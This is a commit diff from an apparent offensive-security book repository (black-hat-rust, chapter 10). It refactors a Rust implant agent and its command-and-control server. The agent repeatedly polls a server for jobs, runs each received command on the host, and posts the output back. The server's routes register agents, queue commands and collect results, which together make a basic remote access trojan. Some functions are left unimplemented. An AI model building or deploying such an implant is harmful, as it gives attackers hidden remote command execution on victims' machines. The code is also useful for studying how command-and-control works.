admin/skerkour-black-hat-rust
1
0
Fork 0
mirror of https://github.com/skerkour/black-hat-rust synced 2026-06-08 17:29:34 +00:00
Code Issues Packages Projects Releases Wiki Activity

ch_10: agent + server

Browse Source
This commit is contained in:
Sylvain Kerkour
2021-05-14 13:09:18 +00:00
parent 5fd7022fc0
commit 06e7014b10
9 changed files with 163 additions and 124 deletions
Download Patch File Download Diff File Expand all files Collapse all files
ch_10/Cargo.lock
Generated
+1
View File
@@ -7,6 +7,7 @@ dependencies = [
"common",
"log",
"ureq",
"uuid",
]
[[package]]
ch_10/Cargo.toml
+4 -1
View File
@@ -9,6 +9,9 @@ members = [
[profile.release]
lto = true
codegen-units = 1
[profile.release.package.agent]
opt-level = 'z'
debug = false
debug-assertions = false
codegen-units = 1
ch_10/agent/Cargo.toml
+1
View File
@@ -11,3 +11,4 @@ common = { path = "../common" }
ureq = { version = "2.1", features = ["tls", "json"] }
log = "0.4"
uuid = { version = "0.8", features = ["serde", "v4"] }
ch_10/agent/src/error.rs
+14
View File
@@ -0,0 +1,14 @@
use std::fmt;
#[derive(Debug, Clone)]
pub enum Error {
Internal(String),
}
impl fmt::Display for Error {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "")
}
}
impl std::error::Error for Error {}
ch_10/agent/src/init.rs
+10
View File
@@ -0,0 +1,10 @@
use crate::Error;
use uuid::Uuid;
pub fn init() -> Result<Uuid, Error> {
unimplemented!();
}
pub fn register() -> Result<Uuid, Error> {
unimplemented!();
}
ch_10/agent/src/main.rs
+7 -36
View File
@@ -1,40 +1,11 @@
use common::api;
use std::{error::Error, process::Command, thread::sleep, time::Duration};
mod consts;
mod error;
mod init;
mod run;
fn main() -> Result<(), Box<dyn Error>> {
let api_client = ureq::AgentBuilder::new()
.timeout(Duration::from_secs(10))
.user_agent("ch_10_agent/0.1")
.build();
let sleep_for = Duration::from_secs(1);
pub use error::Error;
let get_job_route = format!("{}/api/agents/job", consts::SERVER_URL);
let post_job_result_route = format!("{}/api/jobs/result", consts::SERVER_URL);
loop {
let api_res: api::Response<api::AgentJob> =
api_client.get(get_job_route.as_str()).call()?.into_json()?;
println!("{:?}", &api_res);
match api_res.data {
Some(job) => {
let output = String::from_utf8(Command::new(job.command).output()?.stdout)?;
let job_result = api::UpdateJobResult {
job_id: job.id,
output,
};
let _ = api_client
.post(post_job_result_route.as_str())
.send_json(ureq::json!(job_result));
}
None => {
log::debug!("No job found. Trying again in: {:?}", sleep_for);
sleep(sleep_for);
continue;
}
};
}
fn main() -> Result<(), Box<dyn std::error::Error>> {
let agent_id = init::init()?;
run::run(agent_id);
}
ch_10/agent/src/run.rs
+40
View File
@@ -0,0 +1,40 @@
use crate::consts;
use common::api;
use std::{process::Command, thread::sleep, time::Duration};
use uuid::Uuid;
pub fn run(agent_id: Uuid) -> ! {
let api_client = ureq::AgentBuilder::new()
.timeout(Duration::from_secs(10))
.user_agent("ch_10_agent/0.1")
.build();
let sleep_for = Duration::from_secs(1);
let get_job_route = format!("{}/api/agents/{}/job", consts::SERVER_URL, agent_id);
let post_job_result_route = format!("{}/api/jobs/result", consts::SERVER_URL);
loop {
let api_res: api::Response<api::AgentJob> =
api_client.get(get_job_route.as_str()).call()?.into_json()?;
println!("{:?}", &api_res);
match api_res.data {
Some(job) => {
let output = String::from_utf8(Command::new(job.command).output()?.stdout)?;
let job_result = api::UpdateJobResult {
job_id: job.id,
output,
};
let _ = api_client
.post(post_job_result_route.as_str())
.send_json(ureq::json!(job_result));
}
None => {
log::debug!("No job found. Trying again in: {:?}", sleep_for);
sleep(sleep_for);
continue;
}
};
}
}
ch_10/server/src/api/routes/mod.rs
+84 -3
View File
@@ -1,7 +1,88 @@
use agents::{get_agents, post_agents};
use index::index;
use jobs::{create_job, get_agent_job, get_job_result, post_job_result};
use std::{convert::Infallible, sync::Arc};
use warp::Filter;
mod agents;
mod index;
mod jobs;
pub use agents::{get_agents, post_agents};
pub use index::index;
pub use jobs::{create_job, get_agent_job, get_job_result, post_job_result};
use super::AppState;
pub fn routes(
app_state: Arc<AppState>,
) -> impl Filter<Extract = impl warp::Reply, Error = Infallible> + Clone {
let api = warp::path("api");
let api_with_state = api.and(super::with_state(app_state));
// GET /api
let index = api.and(warp::path::end()).and(warp::get()).and_then(index);
// POST /api/jobs
let post_jobs = api_with_state
.clone()
.and(warp::path("jobs"))
.and(warp::path::end())
.and(warp::post())
.and(super::json_body())
.and_then(create_job);
// GET /api/jobs/{job_id}/result
let get_job = api_with_state
.clone()
.and(warp::path("jobs"))
.and(warp::path::param())
.and(warp::path("result"))
.and(warp::path::end())
.and(warp::get())
.and_then(get_job_result);
// POST /api/jobs/result
let post_job_result = api_with_state
.clone()
.and(warp::path("jobs"))
.and(warp::path("result"))
.and(warp::path::end())
.and(warp::post())
.and(super::json_body())
.and_then(post_job_result);
// POST /api/agents
let post_agents = api_with_state
.clone()
.and(warp::path("agents"))
.and(warp::path::end())
.and(warp::post())
.and_then(post_agents);
// GET /api/agents
let get_agents = api_with_state
.clone()
.and(warp::path("agents"))
.and(warp::path::end())
.and(warp::get())
.and_then(get_agents);
// GET /api/agents/{agent_id}/job
let get_agents_job = api_with_state
.clone()
.and(warp::path("agents"))
.and(warp::path::param())
.and(warp::path("job"))
.and(warp::path::end())
.and(warp::get())
.and_then(get_agent_job);
let routes = index
.or(post_jobs)
.or(get_job)
.or(post_job_result)
.or(post_agents)
.or(get_agents)
.or(get_agents_job)
.with(warp::log("server"))
.recover(super::handle_error);
routes
}
ch_10/server/src/main.rs
+2 -84
View File
@@ -1,6 +1,4 @@
use api::AppState;
use std::{convert::Infallible, sync::Arc};
use warp::Filter;
use std::sync::Arc;
mod api;
mod config;
@@ -26,7 +24,7 @@ async fn main() -> Result<(), anyhow::Error> {
let service = Service::new(db_pool);
let app_state = Arc::new(api::AppState::new(service));
let routes = routes(app_state);
let routes = api::routes::routes(app_state);
log::info!("starting server on: 0.0.0.0:{}", config.port);
@@ -42,83 +40,3 @@ async fn main() -> Result<(), anyhow::Error> {
Ok(())
}
fn routes(
app_state: Arc<AppState>,
) -> impl Filter<Extract = impl warp::Reply, Error = Infallible> + Clone {
let api = warp::path("api");
let api_with_state = api.and(api::with_state(app_state));
// GET /api
let index = api
.and(warp::path::end())
.and(warp::get())
.and_then(api::routes::index);
// POST /api/jobs
let post_jobs = api_with_state
.clone()
.and(warp::path("jobs"))
.and(warp::path::end())
.and(warp::post())
.and(api::json_body())
.and_then(api::routes::create_job);
// GET /api/jobs/{job_id}/result
let get_job = api_with_state
.clone()
.and(warp::path("jobs"))
.and(warp::path::param())
.and(warp::path("result"))
.and(warp::path::end())
.and(warp::get())
.and_then(api::routes::get_job_result);
// POST /api/jobs/result
let post_job_result = api_with_state
.clone()
.and(warp::path("jobs"))
.and(warp::path("result"))
.and(warp::path::end())
.and(warp::post())
.and(api::json_body())
.and_then(api::routes::post_job_result);
// POST /api/agents
let post_agents = api_with_state
.clone()
.and(warp::path("agents"))
.and(warp::path::end())
.and(warp::post())
.and_then(api::routes::post_agents);
// GET /api/agents
let get_agents = api_with_state
.clone()
.and(warp::path("agents"))
.and(warp::path::end())
.and(warp::get())
.and_then(api::routes::get_agents);
// GET /api/agents/{agent_id}/job
let get_agents_job = api_with_state
.clone()
.and(warp::path("agents"))
.and(warp::path::param())
.and(warp::path("job"))
.and(warp::path::end())
.and(warp::get())
.and_then(api::routes::get_agent_job);
let routes = index
.or(post_jobs)
.or(get_job)
.or(post_job_result)
.or(post_agents)
.or(get_agents)
.or(get_agents_job)
.with(warp::log("server"))
.recover(api::handle_error);
routes
}